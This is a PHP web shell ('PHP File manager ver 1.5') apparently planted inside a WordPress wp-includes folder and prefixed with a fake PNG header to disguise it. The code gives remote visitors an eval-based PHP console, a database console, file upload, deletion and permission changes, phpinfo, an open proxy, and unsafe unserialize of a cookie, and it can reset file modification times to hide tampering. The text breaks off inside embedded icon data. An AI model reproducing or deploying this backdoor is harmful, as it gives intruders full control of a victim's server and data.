dvadf
/home/homerdlh/public_html/wp-includes/html-api/10/10.zip
PKgN\*0��4C4C	index.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423Gb